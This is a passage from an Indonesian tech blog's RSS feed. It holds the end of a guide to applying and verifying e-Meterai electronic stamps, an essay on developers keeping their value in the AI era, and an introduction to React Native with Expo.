<p>💡 <strong>Catatan:</strong> DocHub menyediakan fitur gratis yang cukup untuk kebutuhan tanda tangan dasar. Untuk penggunaan intensif atau fitur kolaborasi, tersedia plan berbayar.</p>
</blockquote>
<h3>Langkah 4 — Bubuhkan E-Meterai</h3>
<ol>
<li><p>Login ke portal <strong>e-meterai.co.id</strong></p>
</li>
<li><p>Upload file PDF yang sudah ditandatangani</p>
</li>
<li><p>Tentukan <strong>posisi meterai</strong> pada dokumen (lihat panduan posisi di bawah)</p>
</li>
<li><p>Masukkan <strong>PIN</strong> untuk konfirmasi</p>
</li>
<li><p>Download dokumen PDF yang sudah bermeterai</p>
</li>
</ol>
<h3>Langkah 5 — Kirim Dokumen</h3>
<ul>
<li><p>Kirim file PDF final via email atau platform yang disepakati</p>
</li>
<li><p>Pihak penerima bisa memverifikasi keaslian meterai via QR code tanpa perlu login atau PIN</p>
</li>
</ul>
<hr />
<h2>Hal-Hal yang Harus Diperhatikan</h2>
<p>Ini bagian paling penting — banyak yang salah di sini.</p>
<h3>✅ Urutan yang Benar</h3>
<pre><code class="language-plaintext">Dokumen final (PDF)
       ↓
Tanda tangan semua pihak
       ↓
Bubuhkan e-Meterai
       ↓
Kirim dokumen
</code></pre>
<blockquote>
<p>❌ <strong>Jangan terbalik</strong> — jangan bubuhkan meterai sebelum tanda tangan. Meterai seharusnya menjadi "segel" terakhir setelah semua pihak setuju.</p>
</blockquote>
<hr />
<h3>📍 Posisi Meterai yang Benar</h3>
<p>E-Meterai harus diletakkan:</p>
<ul>
<li><p><strong>Di atas atau menindih tanda tangan</strong> salah satu pihak ✅</p>
</li>
<li><p><strong>Di sebelah tanda tangan</strong> (berdampingan) ✅</p>
</li>
<li><p><strong>Di halaman yang sama</strong> dengan tanda tangan ✅</p>
</li>
</ul>
<p>Hindari:</p>
<ul>
<li><p>Meletakkan meterai di halaman berbeda dari tanda tangan ❌</p>
</li>
<li><p>Meletakkan meterai di area kosong yang jauh dari tanda tangan ❌</p>
</li>
</ul>
<hr />
<h3>🔐 Soal PIN</h3>
<ul>
<li><p>PIN bersifat <strong>rahasia pribadi</strong> — jangan dibagikan ke siapapun</p>
</li>
<li><p>PIN berfungsi sebagai <strong>bukti persetujuan hukum</strong> bahwa kamu yang membubuhkan meterai</p>
</li>
<li><p>Pihak lain <strong>tidak butuh PIN</strong> untuk verifikasi — cukup scan QR code</p>
</li>
</ul>
<hr />
<h3>📄 Satu Meterai = Satu Dokumen</h3>
<ul>
<li><p>E-Meterai yang sudah digunakan <strong>tidak bisa dipindahkan</strong> ke dokumen lain</p>
</li>
<li><p>Satu keping meterai <strong>hanya berlaku untuk satu file PDF</strong></p>
</li>
<li><p>Kuota yang sudah digunakan <strong>tidak bisa di-refund</strong></p>
</li>
</ul>
<hr />
<h3>🏪 Beli Hanya di Distributor Resmi</h3>
<p>Pastikan hanya membeli e-Meterai melalui:</p>
<ul>
<li><p>Portal resmi <strong>e-meterai.co.id</strong> (Peruri)</p>
</li>
<li><p>Distributor resmi yang terdaftar di website Peruri</p>
</li>
</ul>
<blockquote>
<p>⚠️ Hindari membeli dari pihak tidak resmi — e-Meterai palsu tidak memiliki kode unik Peruri dan tidak akan lolos verifikasi, sehingga dokumen kamu bisa dianggap tidak sah.</p>
</blockquote>
<hr />
<h3>🔍 Cara Verifikasi E-Meterai</h3>
<p>Siapapun (termasuk pihak yang menerima dokumen) bisa memverifikasi keaslian e-Meterai:</p>
<ol>
<li><p>Kunjungi <strong>e-meterai.co.id/verification</strong></p>
</li>
<li><p>Upload dokumen PDF <strong>atau</strong> scan QR code pada meterai</p>
</li>
<li><p>Sistem akan menampilkan status validitas, nama pembubuh, dan waktu pembubuhan</p>
</li>
</ol>
<hr />
<h2>Ringkasan untuk Developer</h2>
<table>
<thead>
<tr>
<th>Yang Perlu Dilakukan</th>
<th>Detail</th>
</tr>
</thead>
<tbody><tr>
<td>Dokumen format</td>
<td>Pastikan PDF, bukan Word atau gambar</td>
</tr>
<tr>
<td>Urutan proses</td>
<td>TTD dulu → baru e-Meterai</td>
</tr>
<tr>
<td>Posisi meterai</td>
<td>Di atas / sebelah TTD, halaman yang sama</td>
</tr>
<tr>
<td>PIN</td>
<td>Rahasia, tidak perlu dibagikan</td>
</tr>
<tr>
<td>Beli kuota</td>
<td>Hanya di e-meterai.co.id atau distributor resmi</td>
</tr>
<tr>
<td>Verifikasi</td>
<td>Bisa dilakukan siapapun via QR code</td>
</tr>
</tbody></table>
<hr />
<p><em>Referensi: UU No. 10 Tahun 2020 tentang Bea Meterai | Portal resmi e-Meterai:</em> <a href="https://e-meterai.co.id"><em>e-meterai.co.id</em></a></p>
]]></content:encoded></item><item><title><![CDATA[Membangun Benteng di Era AI: Mengapa "Sentuhan Manusia" Adalah Mata Uang Baru]]></title><description><![CDATA[Dunia teknologi sedang mengalami guncangan hebat. Baru-baru ini, kisah Matthew Gallagher yang membangun bisnis bernilai triliunan rupiah hampir sendirian dengan bantuan AI telah membuka mata kita: Sat]]></description><link>https://tech.finlup.id/membangun-benteng-di-era-ai-mengapa-sentuhan-manusia-adalah-mata-uang-baru</link><guid isPermaLink="true">https://tech.finlup.id/membangun-benteng-di-era-ai-mengapa-sentuhan-manusia-adalah-mata-uang-baru</guid><category><![CDATA[AI]]></category><category><![CDATA[vibe coding]]></category><category><![CDATA[Vibe Engineering]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Tue, 05 May 2026 08:23:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/608ba0a8-bd45-4561-9d19-a6697a5f048f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dunia teknologi sedang mengalami guncangan hebat. Baru-baru ini, kisah Matthew Gallagher yang membangun bisnis bernilai triliunan rupiah hampir sendirian dengan bantuan AI telah membuka mata kita: <strong>Satu orang dengan AI kini bisa menandingi ratusan orang tanpa AI.</strong></p>
<p>Namun, di balik kecepatan dan efisiensi yang memukau tersebut, terdapat sisi gelap yang jarang dibicarakan. Bagi Anda yang bergelut di dunia pengembangan perangkat (<em>developer</em>) atau profesional kreatif, pertanyaannya bukan lagi "Kapan AI akan datang?", melainkan "Bagaimana cara saya tetap tak tergantikan?"</p>
<h3>Sisi Gelap: Jebakan Efisiensi Tanpa Nurani</h3>
<p>AI adalah eksekutor terbaik di dunia, tapi ia adalah pemikir yang buruk. Sisi gelap dari ketergantungan penuh pada AI adalah hilangnya integritas dan etika. Kita melihat bagaimana bisnis berbasis AI bisa dengan mudah terjebak dalam penggunaan <em>deepfake</em> atau manipulasi data demi mengejar profit.</p>
<p>Bagi seorang developer, ancaman terbesarnya adalah <strong>komoditisasi</strong>. Jika kemampuan Anda hanya sebatas menulis baris kode yang bisa ditemukan di Google atau Stack Overflow, maka Anda sedang berkompetisi dengan mesin yang tidak pernah tidur dan tidak meminta gaji.</p>
<h3>Keunikan Manusia: Apa yang Tidak Bisa "Di-coding"?</h3>
<p>Meskipun AI bisa menulis ribuan baris kode dalam hitungan detik, ada beberapa aspek fundamental yang tetap menjadi hak prerogatif manusia:</p>
<ol>
<li><p><strong>Empati dan Konteks Emosional:</strong> AI tidak tahu rasanya menjadi pengguna yang frustrasi. Ia bisa memperbaiki <em>bug</em>, tapi ia tidak bisa merasakan mengapa sebuah fitur sangat berarti bagi kehidupan seseorang.</p>
</li>
<li><p><strong>Intuisi di Tengah Ketidakpastian:</strong> Data AI terbatas pada apa yang sudah terjadi di masa lalu. Namun, inovasi sejati seringkali lahir dari "gut feeling" atau intuisi manusia saat menghadapi situasi yang belum pernah ada datanya.</p>
</li>
<li><p><strong>Akuntabilitas dan Kepercayaan:</strong> Manusia berbisnis dengan manusia karena adanya faktor kepercayaan. AI tidak bisa dimintai pertanggungjawaban moral di depan hukum atau di depan klien saat terjadi kesalahan fatal.</p>
</li>
</ol>
<h3>Strategi Bertahan: Menjadi Arsitek, Bukan Sekadar Tukang</h3>
<p>Agar tidak tergilas oleh perubahan ini, kita harus mengubah paradigma kerja:</p>
<ul>
<li><p><strong>Jadilah Auditor, Bukan Hanya Kreator:</strong> Gunakan AI untuk mengerjakan tugas rutin, namun posisikan diri Anda sebagai kurator dan pengawas etika dari apa yang dihasilkan oleh mesin tersebut.</p>
</li>
<li><p><strong>Kuasai Arsitektur, Bukan Sekadar Sintaks:</strong> Fokuslah pada pemecahan masalah tingkat tinggi dan desain sistem. Jangan hanya belajar <em>bagaimana</em> menulis kode, tapi pelajari <em>mengapa</em> sebuah sistem harus dibangun dengan cara tertentu.</p>
</li>
<li><p><strong>Asah Soft Skill:</strong> Kemampuan negosiasi, kepemimpinan, dan komunikasi interpersonal akan menjadi keterampilan paling mahal di masa depan karena AI tidak akan pernah bisa benar-benar "menjalin hubungan."</p>
</li>
</ul>
<h3>Penutup</h3>
<p>AI bukanlah akhir dari karier manusia; ia adalah seleksi alam bagi mereka yang menolak berevolusi. Peluang terbesar saat ini bukan terletak pada siapa yang paling jago coding secara manual, melainkan siapa yang mampu memadukan <strong>kekuatan komputasi AI</strong> dengan <strong>kebijaksanaan manusia</strong>.</p>
<p>Di masa depan, mesin akan menangani pekerjaan teknis, namun manusialah yang akan memegang kemudi arah dan tujuannya.</p>
<p>sumber: <a href="https://www.youtube.com/watch?v=gjt8L8Tq4_M">https://www.youtube.com/watch?v=gjt8L8Tq4_M</a></p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=gjt8L8Tq4_M">https://www.youtube.com/watch?v=gjt8L8Tq4_M</a></p>
]]></content:encoded></item><item><title><![CDATA[React Native + Expo di Tahun 2026: Cara Tercepat Masuk Mobile Development Tanpa Ribet Native]]></title><description><![CDATA[Kalau React Native adalah mesin, maka Expo adalah turbo-nya.


Pendahuluan
Banyak JavaScript developer ingin masuk ke dunia mobile, tapi langsung mentok di satu hal:

setup ribet

Android Studio berat]]></description><link>https://tech.finlup.id/react-native-expo-di-tahun-2026-cara-tercepat-masuk-mobile-development-tanpa-ribet-native</link><guid isPermaLink="true">https://tech.finlup.id/react-native-expo-di-tahun-2026-cara-tercepat-masuk-mobile-development-tanpa-ribet-native</guid><category><![CDATA[React Native]]></category><category><![CDATA[Expo]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Sun, 03 May 2026 12:42:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/3cf63169-8548-4f22-985d-969ebf4ca85b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Kalau React Native adalah mesin, maka Expo adalah turbo-nya.</p>
</blockquote>
<hr />
<h2><strong>Pendahuluan</strong></h2>
<p>Banyak JavaScript developer ingin masuk ke dunia mobile, tapi langsung mentok di satu hal:</p>
<ul>
<li><p>setup ribet</p>
</li>
<li><p>Android Studio berat</p>
</li>
<li><p>Xcode membingungkan</p>
</li>
<li><p>error native sulit dipahami</p>
</li>
</ul>
<p>Akhirnya muncul pertanyaan:</p>
<blockquote>
<p>“Apakah harus belajar semua itu dulu sebelum bisa bikin aplikasi mobile?”</p>
</blockquote>
<p>Jawabannya di 2026:</p>
<blockquote>
<p><strong>Tidak harus.</strong></p>
</blockquote>
<p>Di sinilah <strong>Expo</strong> mengambil peran penting.</p>
<hr />
<h2><strong>Apa Itu Expo (Versi Realistis, Bukan Marketing)</strong></h2>
<p>Expo bukan sekadar tool untuk pemula.</p>
<p>Di 2026, Expo adalah:</p>
<blockquote>
<p><strong>layer abstraction di atas React Native yang menyederhanakan kompleksitas native</strong></p>
</blockquote>
<p>Expo menyediakan:</p>
<ul>
<li><p>environment siap pakai</p>
</li>
<li><p>akses API native tanpa nulis Swift/Kotlin</p>
</li>
<li><p>build &amp; deploy tanpa konfigurasi manual</p>
</li>
</ul>
<p>👉 Artinya: kamu bisa fokus ke <strong>logic dan product</strong>, bukan setup.</p>
<hr />
<h2><strong>Kenapa React Native + Expo Sangat Masuk Akal untuk JS Developer</strong></h2>
<h3><strong>1. Start Tanpa Friksi</strong></h3>
<p>Dengan Expo:</p>
<pre><code class="language-bash">npx create-expo-app myApp
cd myApp
npm start
</code></pre>
<p>Selesai.</p>
<p>Tanpa:</p>
<ul>
<li><p>install Android SDK manual</p>
</li>
<li><p>setup emulator rumit</p>
</li>
</ul>
<p>👉 Ini menghilangkan barrier terbesar untuk masuk mobile.</p>
<hr />
<h3><strong>2. Tetap di Dunia JavaScript</strong></h3>
<p>Kamu tetap pakai:</p>
<ul>
<li><p>JavaScript / TypeScript</p>
</li>
<li><p>React</p>
</li>
<li><p>Hooks</p>
</li>
<li><p>Component-based architecture</p>
</li>
</ul>
<p>👉 Tidak perlu belajar:</p>
<ul>
<li><p>Swift</p>
</li>
<li><p>Kotlin</p>
</li>
</ul>
<hr />
<h3><strong>3. Akses Native Tanpa Native Code</strong></h3>
<p>Dengan Expo SDK, kamu bisa langsung pakai:</p>
<ul>
<li><p>kamera</p>
</li>
<li><p>lokasi</p>
</li>
<li><p>storage</p>
</li>
<li><p>haptic feedback</p>
</li>
<li><p>sensor</p>
</li>
</ul>
<p>Tanpa menyentuh native layer.</p>
<p>👉 Ini mempercepat development secara drastis.</p>
<hr />
<h3><strong>4. OTA Update (Fitur yang Sering Diremehkan)</strong></h3>
<p>Expo mendukung:</p>
<blockquote>
<p><strong>Over-the-Air update</strong></p>
</blockquote>
<p>Artinya:</p>
<ul>
<li><p>kamu bisa update app tanpa publish ulang ke store</p>
</li>
<li><p>bug fix bisa langsung dikirim ke user</p>
</li>
</ul>
<p>👉 Untuk startup: ini adalah <strong>keunggulan strategis</strong></p>
<hr />
<h3><strong>5. Build &amp; Deploy Tanpa Drama (EAS)</strong></h3>
<p>Expo menyediakan:</p>
<ul>
<li><p>cloud build</p>
</li>
<li><p>auto signing</p>
</li>
<li><p>CI/CD sederhana</p>
</li>
</ul>
<p>Kamu tidak perlu pusing dengan:</p>
<ul>
<li><p>keystore</p>
</li>
<li><p>provisioning profile</p>
</li>
<li><p>konfigurasi manual</p>
</li>
</ul>
<p>👉 Fokus tetap ke product, bukan tooling.</p>
<hr />
<h2><strong>Expo Bukan Tanpa Kelemahan</strong></h2>
<p>Kalau kamu serius, ini bagian yang tidak boleh dilewatkan.</p>
<hr />
<h3><strong>1. Tidak Semua Native API Tersedia</strong></h3>
<p>Ada kasus di mana:</p>
<ul>
<li><p>SDK tertentu tidak tersedia di Expo</p>
</li>
<li><p>fitur terlalu spesifik</p>
</li>
</ul>
<p>👉 Kamu akan mentok.</p>
<hr />
<h3><strong>2. Perlu “Eject” Saat Scale</strong></h3>
<p>Saat aplikasi makin kompleks:</p>
<ul>
<li><p>kamu perlu akses native langsung</p>
</li>
<li><p>atau butuh custom module</p>
</li>
</ul>
<p>Solusinya:</p>
<blockquote>
<p><strong>Eject ke Bare Workflow</strong></p>
</blockquote>
<p>Artinya:</p>
<ul>
<li><p>kembali ke React Native CLI</p>
</li>
<li><p>mulai menyentuh native code</p>
</li>
</ul>
<hr />
<h3><strong>3. Bergantung ke Ecosystem Expo</strong></h3>
<p>Expo punya:</p>
<ul>
<li><p>versi SDK sendiri</p>
</li>
<li><p>lifecycle update sendiri</p>
</li>
</ul>
<p>Kadang:</p>
<ul>
<li>kamu harus menunggu update dari Expo</li>
</ul>
<hr />
<h2><strong>Expo vs React Native CLI: Cara Pandang yang Benar</strong></h2>
<p>Banyak developer melihat ini sebagai pilihan “either/or”.</p>
<p>Padahal yang benar:</p>
<table>
<thead>
<tr>
<th>Expo</th>
<th>React Native CLI</th>
</tr>
</thead>
<tbody><tr>
<td>cepat</td>
<td>fleksibel</td>
</tr>
<tr>
<td>efisien</td>
<td>powerful</td>
</tr>
<tr>
<td>ideal untuk MVP</td>
<td>ideal untuk kompleks</td>
</tr>
</tbody></table>
<p>👉 Ini bukan kompetitor 👉 Ini <strong>tahapan evolusi</strong></p>
<hr />
<h2><strong>Strategi Nyata di Industri (Yang Jarang Dibahas)</strong></h2>
<p>Banyak tim modern menggunakan pendekatan:</p>
<h3><strong>Phase 1 — Build cepat</strong></h3>
<ul>
<li><p>pakai Expo</p>
</li>
<li><p>fokus validasi produk</p>
</li>
</ul>
<h3><strong>Phase 2 — Scale</strong></h3>
<ul>
<li><p>tetap Expo jika cukup</p>
</li>
<li><p>atau mulai optimize</p>
</li>
</ul>
<h3><strong>Phase 3 — Advanced</strong></h3>
<ul>
<li><p>eject ke bare React Native</p>
</li>
<li><p>kontrol penuh jika diperlukan</p>
</li>
</ul>
<p>👉 Ini strategi paling realistis di dunia startup.</p>
<hr />
<h2><strong>Kapan Harus Pakai Expo?</strong></h2>
<p>Gunakan Expo jika:</p>
<ul>
<li><p>kamu JavaScript developer</p>
</li>
<li><p>ingin cepat masuk mobile</p>
</li>
<li><p>membangun:</p>
<ul>
<li><p>MVP</p>
</li>
<li><p>startup</p>
</li>
<li><p>aplikasi bisnis</p>
</li>
</ul>
</li>
<li><p>tidak butuh native customization kompleks</p>
</li>
</ul>
<hr />
<h2><strong>Kapan Sebaiknya Tidak Pakai Expo?</strong></h2>
<p>Hindari Expo jika:</p>
<ul>
<li><p>butuh native SDK spesifik</p>
</li>
<li><p>aplikasi sangat kompleks</p>
</li>
<li><p>butuh kontrol low-level</p>
</li>
<li><p>performa sangat kritis</p>
</li>
</ul>
<hr />
<h2><strong>Insight Penting (Yang Sering Salah Dipahami)</strong></h2>
<blockquote>
<p>Expo bukan “versi mudah dari React Native”</p>
</blockquote>
<p>Expo adalah:</p>
<blockquote>
<p><strong>strategi untuk mempercepat delivery tanpa mengorbankan terlalu banyak fleksibilitas</strong></p>
</blockquote>
<hr />
<h2><strong>Kesimpulan</strong></h2>
<p>React Native + Expo di 2026 adalah:</p>
<ul>
<li><p>cara tercepat masuk mobile development</p>
</li>
<li><p>cara paling efisien untuk tim kecil</p>
</li>
<li><p>solusi realistis untuk membangun produk nyata</p>
</li>
</ul>
<p>Untuk JavaScript developer:</p>
<blockquote>
<p>Ini bukan sekadar opsi. Ini adalah <strong>jalan paling masuk akal untuk mulai</strong>.</p>
</blockquote>
<hr />
<h2><strong>Penutup</strong></h2>
<p>Di dunia nyata, yang menang bukan teknologi paling kompleks.</p>
<p>Tapi:</p>
<blockquote>
<p>teknologi yang bisa mengubah ide menjadi produk — dengan cepat dan stabil.</p>
</blockquote>
<p>Dan di 2026:</p>
<blockquote>
<p><strong>React Native + Expo adalah kombinasi yang sangat kuat untuk itu.</strong></p>
</blockquote>
]]></content:encoded></item></channel></rss>